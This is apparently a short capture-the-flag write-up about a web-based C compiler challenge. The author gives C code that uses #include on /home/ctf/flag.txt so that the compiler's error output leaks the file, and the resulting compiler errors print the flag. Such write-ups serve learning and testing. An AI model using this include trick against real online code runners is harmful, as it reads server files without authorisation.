We are directed to a webpage that shows what seems to be a text box where we can write c code to solve a puzzle. The description also says that the flag is in /home/ctf/flag.txt
First attempt I just tried calling system to cat the file, which it does not allow so there is limited functionality.
Lets just include the file..
```#include <stdio.h>#include <stdlib.h>const char *s = #include "/home/ctf/flag.txt";int main(void){	//print number of islands	printf("%i\n", 10);       printf("%s\n", s);	return 0;}```
in the error message it gave me the flag:
```Compiler stdoutNonestderrIn file included from /tmp/sarce/tmpnx5sqnw7/input.c:12:/home/ctf/flag.txt:1:1: error: 'WPI' undeclared here (not in a function)    1 | WPI{D0nt_run_as_r00t}      | ^~~/home/ctf/flag.txt:1:4: error: expected ',' or ';' before '{' token    1 | WPI{D0nt_run_as_r00t}      |    ^/tmp/sarce/tmpnx5sqnw7/input.c:13:1: warning: ISO C does not allow extra ';' outside of a function [-Wpedantic]   13 | ;      | ^```